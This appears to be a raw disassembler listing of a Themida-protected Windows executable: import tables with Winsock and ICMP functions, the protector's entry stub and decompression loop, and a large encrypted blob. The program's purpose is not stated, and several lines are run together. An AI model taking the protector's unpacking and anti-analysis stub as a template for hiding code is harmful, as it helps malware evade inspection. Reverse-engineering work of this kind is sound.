dword_50BB30	dd 0							; sub_4205E0+41w ...
dword_50BB34	dd 0							; sub_4205E0+7Fr
dword_50BB38	dd 0							; sub_4205E0+92r ...
dword_50BB3C	dd 0							; sub_4205E0+148r
		dd 3 dup(0)
dword_50BB4C	dd 0							; ___:0041C255o
dword_50BB50	dd 0							; sub_4237D0+5r ...
dword_50BB54	dd 0							; ___:00423F5Br ...
		dd 7CEh	dup(0)
dword_50DA90	dd 6 dup(0)						; ___:00423E5Fo ...
dword_50DAA8	dd 196h	dup(0)						; sub_423710+6Do
dword_50E100	dd 0		word_50E104	dw 0			; DATA XREF: sub_424F20+A9r
		align 4
byte_50E108	db 0			; DATA XREF: sub_425580:loc_4255E0r
					; sub_425580+97w
		align 4
dword_50E10C	dd 0		; resolved to->IPHLPAPI.IcmpSendEcho					; sub_4268C0+D9r
dword_50E110	dd 0		; resolved to->IPHLPAPI.IcmpCreateFile					; sub_4268C0+45r
dword_50E114	dd 0		; resolved to->IPHLPAPI.IcmpCloseHandle					; sub_4268C0+54r ...
		dd 0
dword_50E11C	dd 80h dup(0)						; sub_426B00+129o
dword_50E31C	dd 0		dword_50E320	dd 0				dd 1Dh dup(0)
dword_50E398	dd 0							; ___:0042B1BDr ...
dword_50E39C	dd 0							; sub_42CBB0:loc_42CC46r ...
dword_50E3A0	dd 0		; resolved to->WS2_32.connect					; sub_431320+2Dr ...
dword_50E3A4	dd 0		dword_50E3A8	dd 0							; sub_430310r ...
dword_50E3AC	dd 0		dword_50E3B0	dd 0							; sub_42F750+111w ...
dword_50E3B4	dd 0							; sub_42F750+F6r ...
dword_50E3B8	dd 0							; ___:loc_430450r
dword_50E3BC	dd 0		; resolved to->KERNEL32.InterlockedCompareExchange					; sub_431080+2Cr ...
		dd 2 dup(0)
		dd 0
		dd 13Dh	dup(0)
dword_50E8C0	dd 10h dup(0)						; sub_430220:loc_430250o ...
dword_50E900	dd 8 dup(0)						; sub_42F5E0+25o ...
dword_50E920	dd 8 dup(0)						; sub_430730+25o ...
dword_50E940	dd 8 dup(0)						; sub_431600+84o ...
dword_50E960	dd 8 dup(0)						; sub_431600+8Bo ...
dword_50E980	dd 9 dup(0)						; sub_42F750:loc_42F867o ...
		dd 0FFFFFFFFh, 3 dup(0)
		dd 0FFFFFFFFh, 192h dup(0)
		dd 5 dup(6A879B3Bh), 5 dup(0E5F3238h), 5 dup(1F6DAB4Ah)
		dd 5 dup(56D5F92Eh), 5 dup(2E3F9192h), 5 dup(69DBF758h)
		dd 5 dup(1B7DA7E6h), 5 dup(2CA43219h), 5 dup(63192DC9h)
		dd 5 dup(712622D6h), 5 dup(27E0DC27h), 1Eh dup(0)
dword_50F154	dd 69DBF758h, 10h dup(0)
		dd 27E0DC27h, 58h dup(0)
		dd 56D5F92Eh, 1Bh dup(0)
		dd 63192DC9h, 14h dup(0)
		dd 0E5F3238h, 52h dup(0)
		dd 6A879B3Bh, 1Bh dup(0)
		dd 712622D6h, 0Bh dup(0)
		dd 1B7DA7E6h, 0Ch dup(0)
		dd 2E3F9192h, 2Bh dup(0)
		dd 2CA43219h, 11h dup(0)
		dd 1F6DAB4Ah, 0Ah dup(0)
		dd 2930687h, 2940000h, 2950000h
dword_50F710	dd 295150Fh			dd 29516E8h
dword_50F718	dd 29518D2h			db 90h
		db 1Ch,	95h, 2
		dd 2960000h
dword_50F724	dd 2970000h			dd 2980000h, 29805E0h, 29809F1h, 2990000h
dword_50F738	dd 2990272h						; sub_40E820+25Ar ...
dword_50F73C	dd 29907C2h	dword_50F740	dd 2990AA3h			dd 2990BE0h, 29A0000h
dword_50F74C	dd 29A0393h						; sub_40EDF0+15Er ...
		dd 29A0625h
dword_50F754	dd 29B0000h						; sub_40E820+22Cr
		dd 29C0000h
dword_50F75C	dd 29C0269h						; sub_420890+285r ...
		dd 29D0000h
dword_50F764	dd 29D1254h						; sub_40E820+24Cr
		dd 10h dup(0)
		dd 76F36C5Bh, 0Bh dup(0)
		dd 27A0000h, 27A01C8h, 27B0000h, 27B06D2h, 27B087Ah, 27B0BEBh
		dd 27B0DC6h, 27C0000h, 27C0860h, 27C0CE0h, 27D0000h, 27D0251h
		dd 27D08E7h, 27D0962h, 27E0000h, 27E033Eh, 27E06B5h, 27E0B3Bh
		dd 27F0000h, 27F04ACh, 27F04D2h, 27F0A04h, 27F0ACCh, 2800000h
		dd 280022Ch, 280038Ch, 2800593h, 280072Ch, 280093Eh, 2800AA1h
		dd 2800C7Eh, 2800D40h
dword_50F858	dd 2810000h	dword_50F85C	dd 2810534h	dword_50F860	dd 281068Fh			dd 7C901005h, 7C9010EDh, 2810804h, 2810878h
dword_50F874	dd 28108A3h						; sub_4205E0+FEr
		dd 2820000h, 282076Ah, 2820A63h, 2820E14h, 2830000h, 2840000h
		dd 28407DEh, 2850000h, 2860000h, 28608D9h
dword_50F8A0	dd 2870000h						; sub_4205E0:loc_42062Cr ...
dword_50F8A4	dd 2870914h						; sub_40FFE0+47r ...
		dd 2870996h, 2870B67h, 2880000h, 2890000h, 28A0000h, 28B0000h
		dd 28C0000h
dword_50F8C4	dd 28C1629h			dd 28C188Ch, 28C1BC8h
dword_50F8D0	dd 28C1E38h						; sub_41B560+2Fr ...
		dd 28D0000h
dword_50F8D8	dd 28D0809h						; sub_420480+2Er ...
		dd 28D0B93h, 28E0000h, 28E0AFEh
dword_50F8E8	dd 28F0000h			dd 28F02BCh, 2900000h, 2910000h, 29112D4h, 2920000h, 29201E1h
		dd 292087Eh, 2920D29h, 2930000h, 1Ah dup(0)
		dd 71B2578Ch, 71B25099h, 0Bh dup(0)
dword_50F9AC	dd 760AC190h			dd 76085AE4h, 760976AFh, 7608B84Ch, 76081F67h, 760A0430h
		dd 7608F485h, 7609202Eh, 760A044Fh, 760A036Bh, 0Dh dup(0)
		dd 77C4EE2Fh, 77C35C94h, 77C3537Ch, 77C1F1DBh, 77C1F1A4h
		dd 77C623D8h, 77C4D675h, 77C227FAh, 77C1EEEBh, 77C617ACh
		dd 77C32DAEh, 77C39E9Ah, 77C34DF8h, 77C34E51h, 77C21868h
		dd 77C40BB1h, 77C36D74h, 77C3619Ch, 77C49113h, 77C3A307h
		dd 77C3A3DBh, 77C4186Ah
dword_50FA60	dd 77C3F931h	; resolved to->MSVCRT.sprintf					; sub_42D360+53r ...
dword_50FA64	dd 77C1F2BCh	; resolved to->MSVCRT._errno		dd 77C371FAh, 77C36DF2h, 77C39D67h, 77C1C561h
dword_50FA78	dd 77C5F988h	; resolved to->MSVCRT._pctype; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0C0h, 0C2h, 77h
dword_50FA80	dd 77C40E13h	; resolved to->MSVCRT.fprintfdword_50FA84	dd 77C5FC80h	; resolved to->MSVCRT._iob					; sub_42CBB0+4Ar ...
; ---------------------------------------------------------------------------
		imul	dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C41B72h
dword_50FA90	dd 77C47BE0h	; resolved to->MSVCRT.strrchrdword_50FA94	dd 77C4173Bh	; resolved to->MSVCRT.fwritedword_50FA98	dd 77C4139Ch	; resolved to->MSVCRT.fseekdword_50FA9C	dd 77C4624Eh	; resolved to->MSVCRT._stricmpdword_50FAA0	dd 77C41574h	; resolved to->MSVCRT.ftelldword_50FAA4	dd 77C411FBh	; resolved to->MSVCRT.fread		dd 77C40E76h
dword_50FAAC	dd 77C47E61h	; resolved to->MSVCRT.wcscat					; ___:0041C38Ar
; ---------------------------------------------------------------------------
		adc	al, dh
		retn
; ---------------------------------------------------------------------------
		db 77h
		dd 77C40AB1h, 77C4FA10h
dword_50FABC	dd 77C371D3h	; resolved to->MSVCRT.rand					; sub_41BA00+17Er ...
		dd 77C371BCh
dword_50FAC4	dd 77C2C21Bh	; resolved to->MSVCRT.free					; sub_42E070+34r ...
		dd 77C2C407h
dword_50FACC	dd 77C47920h	; resolved to->MSVCRT.strncat		dd 77C39E7Eh
dword_50FAD4	dd 77C47A50h	; resolved to->MSVCRT.strncmp					; sub_42CBB0+90r
dword_50FAD8	dd 77C3FA76h	; resolved to->MSVCRT._snprintf		db 90h
		db 0CFh, 0C1h, 77h
dword_50FAE0	dd 77C47660h	; resolved to->MSVCRT.strchr		db 8Ah,	0FFh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------
		mul	byte ptr [esi]
		retn	0E777h
; ---------------------------------------------------------------------------
		db 14h,	0C2h, 77h
		dd 77C29CC5h
dword_50FAF4	dd 77C47CE5h	; resolved to->MSVCRT.strtok					; sub_41BD40+5Dr
dword_50FAF8	dd 77C47C60h	; resolved to->MSVCRT.strstr					; sub_40FFE0+1126r ...
dword_50FAFC	dd 77C47A90h	; resolved to->MSVCRT.strncpy					; ___:00419C8Ar
		dd 77C29CDDh, 77C293C7h
dword_50FB08	dd 77C1BF18h	; resolved to->MSVCRT.atoi					; sub_422AF0+203r ...
		dd 77C35F0Dh, 77C46170h
dword_50FB14	dd 77C5F97Ch	; resolved to->MSVCRT.__mb_cur_max		dd 77C46125h
		dd 77C46320h
		dd 19h dup(0)
		dd 76BF215Ah, 76BF1F1Ch, 76BF3A9Ah, 0Bh	dup(0)
		dd 7CA41110h, 0Bh dup(0)
		db 0CCh
		db 3, 93h, 2
off_50FBF0	dd offset sub_69BB85	; DATA XREF: ___:00419F6Dr
					; sub_41A000+2Dr ...
		dd 0Bh dup(0)
dword_50FC20	dd 71AB2B66h	; resolved to->WS2_32.ntohs		dd 71AB951Eh, 71AB3E00h
dword_50FC2C	dd 71AB2B66h	; resolved to->WS2_32.ntohs					; sub_4250B0:loc_425162r ...
dword_50FC30	dd 71AB3B91h	; resolved to->WS2_32.socket					; sub_42A690:loc_42A74Br
		dd 71AB406Ah, 71AB4428h, 71AB664Dh, 71AB50C8h
dword_50FC44	dd 71AB94DCh	; resolved to->WS2_32.WSAGetLastError		dd 71AB4544h, 71AB88D3h
dword_50FC50	dd 71AB4519h	; resolved to->WS2_32.ioctlsocket					; sub_42B5E0+E8r
		dd 71AB2BC0h
dword_50FC58	dd 71AB2D0Fh	; resolved to->WS2_32.recvfromdword_50FC5C	dd 71AB2C69h	; resolved to->WS2_32.sendto					; sub_42A690+F9r
		dd 71AB3EA1h, 71AB8769h, 71AB4489h, 71ABE6EBh, 71AC0BDEh
		dd 71AB2A5Eh
dword_50FC78	dd 71AB3F41h	; resolved to->WS2_32.inet_ntoa		dd 71AB2BC0h
dword_50FC80	dd 71AB2DC0h	; resolved to->WS2_32.select					; sub_41A780+48r ...
dword_50FC84	dd 71AC1028h	; resolved to->WS2_32.acceptdword_50FC88	dd 71AB9639h	; resolved to->WS2_32.closesocket					; sub_41F910+198r ...
dword_50FC8C	dd 71AB428Ah	; resolved to->WS2_32.send					; ___:00421791r ...
dword_50FC90	dd 71AB615Ah	; resolved to->WS2_32.recv					; sub_427B70+18Dr ...
		dd 71AB2BF4h, 71ABE479h, 71AC0B50h, 71AB4FD4h, 11h dup(0)
		dd 76D6AC1Dh, 0C9h dup(0)
dword_510010	dd 3FCh	dup(0)	___		ends

; Section 2. (virtual address 00111000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00111000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 511000h
		align 2000h
_rsrc___	ends

; Section 3. (virtual address 00112000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00112000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 512000h
		dd 7C801A24h, 7C81CDDAh, 0
aE		db 'e',9,']',0
		align 10h
		dd 112050h, 112000h, 3 dup(0)
		dd 112079h, 11200Ch, 5 dup(0)
aKernel32_dll_1	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 00113000)
; Virtual size			: 001AB000 (1748992.)
; Section size in file		: 001AB000 (1748992.)
; Offset to raw	data for section: 00113000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
Themida_	segment	para public 'DATA' use32
		assume cs:Themida_
		;org 513000h
		dd 7BAB1A6Ch, 42E99h, 5EA1Dh, 158172h, 0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 00513265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005C96A9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005CCB8A SIZE 00000062 BYTES
; FUNCTION CHUNK AT 005CCE00 SIZE 00000041 BYTES
; FUNCTION CHUNK AT 005CCE53 SIZE 0000000B BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_513086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_513041
		popa
		jmp	short loc_513076
; ---------------------------------------------------------------------------
a70q		db '-70Q',0
		db 0FFh
		dd 0FFFFFFFFh, 3DFFFFFFh
		db 40h
; ---------------------------------------------------------------------------


loc_513041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_51304E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_51306D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_513074


loc_51306D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_51304E
; ---------------------------------------------------------------------------


loc_513074:				; CODE XREF: start+57j
		mov	edi, eax


loc_513076:				; CODE XREF: start+1Bj
		jmp	loc_513265
; ---------------------------------------------------------------------------
		db 3
		dd 326AB9C7h, 0CF030011h
		db 0EBh, 0Ah
; ---------------------------------------------------------------------------


loc_513086:				; CODE XREF: start+8j
		mov	eax, offset loc_5C96A9
		mov	ecx, offset word_51326A
		push	eax
		push	ecx
		call	sub_51311B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_513265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
aUFkxB		db '(x^',0
		dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h,	3163C78Eh
		dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h
		dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh
		dd 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_51311B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_513127:				; CODE XREF: sub_51311B:loc_51313Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_513132:				; CODE XREF: sub_51311B+7Aj
					; sub_51311B+C3j ...
		add	dl, dl
		jnz	short loc_51313B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51313B:				; CODE XREF: sub_51311B+19j
		jnb	short loc_513127
		add	dl, dl
		jnz	short loc_513146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513146:				; CODE XREF: sub_51311B+24j
		jnb	short loc_513197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_513153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513153:				; CODE XREF: sub_51311B+31j
		jnb	loc_513238
		add	dl, dl
		jnz	short loc_513162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513162:				; CODE XREF: sub_51311B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_51316D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51316D:				; CODE XREF: sub_51311B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_513178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513178:				; CODE XREF: sub_51311B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_513183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513183:				; CODE XREF: sub_51311B+61j
		adc	eax, eax
		jz	short loc_51318D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_51318D:				; CODE XREF: sub_51311B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_513132
; ---------------------------------------------------------------------------


loc_513197:				; CODE XREF: sub_51311B:loc_513146j
		mov	eax, 1


loc_51319C:				; CODE XREF: sub_51311B:loc_5131B0j
		add	dl, dl
		jnz	short loc_5131A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131A5:				; CODE XREF: sub_51311B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_5131B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131B0:				; CODE XREF: sub_51311B+8Ej
		jb	short loc_51319C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_5131E3
		mov	ecx, 1


loc_5131C0:				; CODE XREF: sub_51311B:loc_5131D4j
		add	dl, dl
		jnz	short loc_5131C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131C9:				; CODE XREF: sub_51311B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_5131D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131D4:				; CODE XREF: sub_51311B+B2j
		jb	short loc_5131C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_5131E3:				; CODE XREF: sub_51311B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_5131F1:				; CODE XREF: sub_51311B:loc_513205j
		add	dl, dl
		jnz	short loc_5131FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131FA:				; CODE XREF: sub_51311B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_513205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513205:				; CODE XREF: sub_51311B+E3j
		jb	short loc_5131F1
		cmp	eax, 7D00h
		jnb	short loc_513228
		cmp	eax, 500h
		jb	short loc_513223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_513223:				; CODE XREF: sub_51311B+F8j
		cmp	eax, 7Fh
		ja	short loc_51322B


loc_513228:				; CODE XREF: sub_51311B+F1j
		add	ecx, 2


loc_51322B:				; CODE XREF: sub_51311B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_513238:				; CODE XREF: sub_51311B:loc_513153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_513259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_513259:				; CODE XREF: sub_51311B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_51311B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_513265:				; CODE XREF: start:loc_513076j
					; start+9Dj
		jmp	loc_5C96A9
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_51326A	dw 38E9h		; DATA XREF: start+77o
		dd 15334DCh, 1101CEBBh,	0E19822BEh, 38EFFE0Bh, 88EB4301h
		dd 0AA43B821h, 736552F0h, 7261741Ch, 2F7041CEh,	9C784F2Eh
		dd 1164F723h, 0F55F215Ch, 0F70801E7h, 0F733107Fh, 475ED708h
		dd 77877022h, 8404D043h, 7838FA7Fh, 0E101B842h,	36F8AE0Fh
		dd 0FF6B848Bh, 1EE12422h, 6854F0BAh, 696D0E65h,	0BB106164h
		dd 2C6E5FAAh, 39237FFh,	457E7708h, 0AB287735h, 3DC71FCh
		dd 8BF8F721h, 38D4E4C5h, 5D44E860h, 0EBED8100h,	8907D334h
		dd 20C53195h, 0EA99B50Dh, 0B398521h, 0F1BD8301h, 74000724h
		dd 0E4E88B0Ch, 1DB858E2h, 7078C28Fh, 88E32444h,	317A93Eh
		dd 0A3E8456Ah, 9A682907h, 4ACF8374h, 25030ADFh,	0D20A894Bh
		dd 14E921D5h, 0FAEC4A02h
		db 1
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pop	eax
		out	dx, al
		pop	edx
		or	[ecx+135D9EAh],	al
		mov	ebx, edx
		mov	dword ptr [ebp-28h], 0E630823h
		inc	eax
		mov	[edi], ebx
		or	[ecx+1D80987Dh], al
		jz	short loc_51336F
		iret
; ---------------------------------------------------------------------------
		db 20h,	8, 0E6h
		dd 6E454383h, 0EBE612FFh
		db 0E1h, 36h, 37h
; ---------------------------------------------------------------------------


loc_51336F:				; CODE XREF: Themida_:0051335Ej
		fsub	qword ptr [ecx+26h]
		inc	ecx
		leave
		retn	4004h
; ---------------------------------------------------------------------------
		db 46h
		dd 687CC481h, 0E24902FFh, 8D003622h, 0A8B8045h,	85C7085Dh
		dd 50502219h, 5D10A8Dh,	411888C3h, 810B4589h, 5D0610BDh
		dd 27E37514h, 47BA8DA1h, 80756064h, 0BB240E8Ah,	0B8805BF4h
		dd 785437ABh, 61D07ED3h, 754B080Fh, 0C3AFD8F7h,	4A464729h
		dd 0F9154623h, 61D11542h, 3AD0D08Ah, 0EEC5FEF0h, 4D05FC45h
		dd 0AD1E04EBh, 3E804646h, 0BAF72940h, 3034B784h, 7FEB0C7Dh
		dd 66F83EC8h, 0F042126Dh, 40F40E65h, 65C14A10h,	0D6A004F0h
		dd 0E01CD1F8h, 28B0C203h, 0E8ADB33h, 0FB80301Ch, 0A0A7266h
		dd 577391Eh, 3379EB9Fh,	0FB611422h, 660A3F0Dh, 0AF1E08B7h
		dd 560AC3A7h, 41181A10h, 460A0B72h, 24066F77h, 5D010C51h
		dd 39F4ECF0h, 28D7D83h,	9B0CB072h, 0B3A576C0h, 0F82620AAh
		dd 0B58D03E7h, 553BA800h, 54820FFCh, 0E0B0BD78h, 2838DFAAh
		dd 700870BAh, 0FC7054B9h, 376820BDh, 470FFE00h,	0B9FA7549h
		dd 0EE6AE222h, 310103BBh, 0EB82F112h, 8EEC02B6h, 396F8601h
		dd 655108D4h, 2EFA36C1h, 78268AE7h, 1B22E99Fh, 0D13EA59h
		dd 0E08037A1h, 0FD006D32h, 6858D512h, 49ED4Ch, 3F247AABh
		dd 0E957016Bh, 21350461h, 8AC8C45Fh, 5250C75h, 18084582h
		dd 574721C3h, 0D9ADF0C4h, 6EA30A4h, 32737E19h, 2C2FC803h
		dd 28FA8BC3h, 80F19Eh, 55DC8267h, 34CB8C20h, 4E3913C0h
		dd 30F765Bh, 3D51B810h,	3BE3D104h, 540E46B3h, 0AC2E0975h
		dd 0A480E11h, 9065E4ECh, 84813E3Ah, 968E05C5h, 53945282h
		dd 0C2042A3Ch, 718C3329h, 0E6EE7E2h, 2BFFCCAAh,	4773081h
		dd 0C1341D22h, 33F98406h, 41BC2075h, 0D90ADD3Fh, 2309CEFh
		dd 26EC41CEh, 7ECC7F8Ch, 3F4043FFh, 60E9A945h, 52C46240h
		dd 254D028Ch, 0B1AA8211h, 5AAB3413h, 56132284h,	825EFA98h
		dd 818DEE2Ah, 134B1BA1h, 88B9EA8Ah, 97142313h, 508A543h
		dd 0C45CC354h, 185D8A91h, 5444881Ch, 399BC400h,	1A360614h
		dd 827803FFh, 57E60CCh,	0C2F463D7h, 673D58B8h, 10DA8D01h
		dd 0E281DFC0h, 87517191h, 8A22C459h, 10153145h,	0EC45141h
		dd 0B67B4CAh, 2E861083h, 0BC0F1D79h, 46C8FEEAh,	54FC3356h
		dd 1B6F0E02h, 1325EA07h, 0B0012ABh, 4A53D7FBh, 9FB1C9h
		dd 776079E6h, 0B508050Bh, 2958CF29h, 10C30110h,	66F18AB0h
		dd 141CB102h, 0F201E7F7h, 1A86050Eh, 5C8B0033h,	0A8B2F49Ch
		dd 0DB00B45Eh, 6AD7C470h, 2E8ED19h, 0F6B323F8h,	82428C5Ch
		dd 0AD68B186h, 33A32280h, 1636AA01h, 8EBEFBDEh,	6109F4h
		dd 27F8CCD2h, 2C9EBC72h, 51CA48h, 8CD4BEC9h, 60E90C35h
		dd 4EE44507h, 311FDD52h, 6D82BBF1h, 40591BF7h, 66E3B63h
		dd 8C671ED1h, 0BF3912FAh, 503E331Ah, 0D8CDD3F1h, 0C09BCC7h
		dd 0DEA7451h, 4200FE57h, 4A23AD37h, 0B23479h, 576A63E8h
		dd 90B4EB81h, 100C050Ah, 8C60A187h, 0FBEA84D7h,	4F4009C9h
		dd 0E82F5E8h, 50DDB771h, 9A35FAA3h, 16F70A87h, 52284C96h
		dd 5900C340h, 0E93F8429h, 3A287F3Eh, 0C784586h,	460E4D49h
		dd 0A6136819h, 0AF008D1Bh, 0D27B309Eh, 0E928C04Ah, 0D3F2EC4Fh
		dd 724B6700h, 6143E70Ch, 0E09F39B3h, 3F364860h,	28F09E4Ah
		dd 0F50FB6Fh, 0DC2CC01Fh, 0CF320Eh, 8A9D0CA7h, 0D56A745Eh
		dd 40CDADF8h, 908081F7h, 0FCC514C9h, 0A0008711h, 67A39274h
		dd 0C085C6F8h, 0BED508C1h, 47005255h, 5B50C372h, 18A845BCh
		dd 183F06D4h, 0B9C17AA7h, 1C493CC7h, 5D425080h,	9EC8A362h
		dd 0E807D3FFh, 86692CA4h, 108BF6h, 0D63C341h, 0F0591CC7h
		dd 7A3738C0h, 0C34C064Dh, 446B4EA9h, 0FF52617Ch, 498F06ACh
		dd 119026h, 16FBF705h, 298EFA99h, 1A5743Ah, 4ED7B593h
		dd 97F0E5BFh, 750ECA76h, 40088828h, 6079A08Dh, 75370800h
		dd 28F7107Eh, 0FB3F00F1h, 58CE2423h, 433401F5h,	28A7622Dh
		dd 0DB2180FCh, 8FEBB94Eh, 1DCC005Ch, 56331701h,	0DC0BAB0Ch
		dd 8F8BE9B0h, 24D8321h,	3B690141h, 0DD04C72Ah, 0C88040FFh
		dd 0B950496Eh, 8F612790h, 8A0722E1h, 95D9D8h, 6E77218Ch
		dd 19B9ECDEh, 0A9EAA02h, 804422FDh, 6FBF49C8h, 5E6601F9h
		dd 0B76ECACDh, 50A8ADh,	41FC9754h, 6327F340h, 2F44C1F7h
		dd 21885B80h, 38941300h, 2CCEC606h, 9343867h, 0C09A30E4h
		dd 72B7EF4Ch, 4794CB12h, 6020807h, 838E581Ah, 64492086h
		dd 1777E743h, 67F4685h,	7C2809A3h, 0C008FC82h, 257064F4h
		dd 0FCD0804h, 5FA6CC01h, 0CC0BEB2h, 1818BD34h, 50D230ECh
		dd 775E231h, 97514700h,	0BBE754A5h, 2AA61D29h, 0C215FF2Bh
		dd 0A308D842h, 1B8EF28h, 0E3F25649h, 0FAF1DFE9h, 0A3D21980h
		dd 0FF0E52D7h, 8958DE00h, 0C90DABA1h, 86730318h, 5420F374h
		dd 40E0F81Eh, 0A095134Ch, 0C93C10CBh, 694E15FEh, 0F5340868h
		dd 20882803h, 0EB069C2Bh, 3F774F74h, 83333829h,	80620D82h
		dd 0B0485ECCh, 74912739h, 819B1001h, 0E5ECAA8Eh, 0CB531FD3h
		dd 273C0ACh, 44086BEDh,	0FF9E0D01h, 0C693D0Ah, 0F02415EDh
		dd 18A8F894h, 58711ADCh, 79C151D2h, 2EB7DA6Fh, 0F295C0E7h
		dd 0E7450FF1h, 7C8052C1h, 0BDA3BC3Bh, 0D9E04A62h, 3077241Ah
		dd 80F0A104h, 4778DEECh, 42D43554h, 341F9492h, 48823395h
		dd 8086F37Eh, 4B0D3D80h, 0C228C423h, 3E7C88A6h,	0B04FF402h
		dd 645BA382h, 0F3760A58h, 39BC7ED0h, 0EB402685h, 66980182h
		dd 0C4C8CB16h, 2611104h, 0B2A9C350h, 7FF079FCh,	1B9600B3h
		dd 0E6B52DFEh, 3A39AA9Ch, 8007D3Ch, 7350C933h, 5A71A9h
		dd 9FF1BECh, 0A28740Dh,	46A01600h, 0A4D510E5h, 5D181E50h
		dd 2A9F3F47h, 0DCC0008Eh, 0B83DD387h, 736AB30Ah, 8F00B0B1h
		dd 1277135Eh, 0B0F07E1h, 0B0FEAB02h, 0D9FF74A5h, 0B2B97A00h
		dd 46C9D8Eh, 6F3E0984h,	0FC2A9B0Fh, 3DE90452h, 0B34C8CDEh
		dd 0CE0FDB00h, 4503198Ch, 3D41070Eh, 54175F02h,	7A888C4Bh
